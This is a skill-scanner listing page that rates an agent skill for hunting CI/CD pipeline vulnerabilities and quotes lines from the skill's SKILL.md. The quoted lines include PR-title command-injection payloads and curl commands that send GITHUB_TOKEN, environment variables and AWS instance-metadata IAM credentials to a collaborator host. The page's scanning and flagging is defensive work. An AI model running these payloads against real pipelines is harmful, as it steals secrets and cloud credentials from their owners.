← All skills
hunt-cicd
69 / 100 · Review before installing
Check before installing. Some of what it can do is expected: a devops skill usually runs commands, installs tools and uses cloud credentials.
By iradoweck/antigravity-awesome-skills (GitHub) · devops · 30 stars · scanned at commit 2984de1
Hunt CI/CD pipeline vulnerabilities
Works with any agent that supports SKILL.md skills.
What this skill can do
Sends data to these websites: $target, $target$p, x., 169.254.169.254
This is disclosed by the author in the skill's SKILL.md or README. Expected for a devops skill.
Found in 13 places.
Show 10 more
- skills/hunt-cicd/SKILL.md, line 76
curl -s -X POST "https://$TARGET/scriptText" \ - skills/hunt-cicd/SKILL.md, line 127
PR title: a"; printenv GITHUB_TOKEN | base64 | tr -d '\n' | { read T; curl "https://x.<COLLAB>/?t=$T"; }; echo " - skills/hunt-cicd/SKILL.md, line 131
PR title: foo\n curl https://x.<COLLAB>/?d=$(printenv | base64 -w0) - skills/hunt-cicd/SKILL.md, line 137
curl -s "https://x.<COLLAB>/?env=$(printenv | base64 -w0)" - skills/hunt-cicd/SKILL.md, line 145
curl -s "https://x.<COLLAB>/?h=$(hostname)&u=$(whoami)" - skills/hunt-cicd/SKILL.md, line 146
curl -s "https://x.<COLLAB>/imds=$(curl -s --max-time 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/ | base64 -w0)" - skills/hunt-cicd/SKILL.md, line 200
curl -s "https://$TARGET/api/v4/projects/PID/variables" -H "PRIVATE-TOKEN: $TOK" # masked? protected? - skills/hunt-cicd/SKILL.md, line 201
curl -s "https://$TARGET/api/v4/runners?type=instance_type" -H "PRIVATE-TOKEN: $TOK" - skills/hunt-cicd/SKILL.md, line 205
curl -s "https://$TARGET/api/v4/projects/PID/repository/files/.gitlab-ci.yml/raw?ref=main" - skills/hunt-cicd/SKILL.md, line 221
code=$(curl -s -o /tmp/tf.json -w "%{http_code}" "$U")
Runs commands on your computer
This is disclosed by the author in the skill's SKILL.md or README. Expected for a devops skill.
Found in 12 places.
Show 9 more
Reads your saved credentials, such as SSH keys or .env files
This is disclosed by the author in the skill's SKILL.md or README. Expected for a devops skill.
Found in 2 places.
Downloads and installs other software
The author does not mention this. Expected for a devops skill.
Found in 1 place.
Safer alternatives
Low-risk skills in the same category (devops) that look related. Check that one does what you need.
Other copies in this repository
iradoweck/antigravity-awesome-skills has 2 more folders with a skill named hunt-cicd. This page shows the lowest-scoring copy.
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'hunt-cicd' ] || [ -L ~/.agents/skills/'hunt-cicd' ]; then echo 'A skill folder named hunt-cicd already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/iradoweck/antigravity-awesome-skills' "$d" && git -C "$d" checkout --quiet '2984de11956e413008c6f98121cd141c499e47a3' -- 'skills/hunt-cicd' && mkdir -p ~/.agents/skills && cp -R "$d"/'skills/hunt-cicd' ~/.agents/skills/'hunt-cicd' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'hunt-cicd' ~/.claude/skills/'hunt-cicd' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for iradoweck/antigravity-awesome-skills shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/iradoweck/antigravity-awesome-skills/)
Score history
| Date | Version | Score |
|---|
| 2026-11-08 | 2984de1 | 69 |
| 2026-11-06 | 2984de1 | 69 |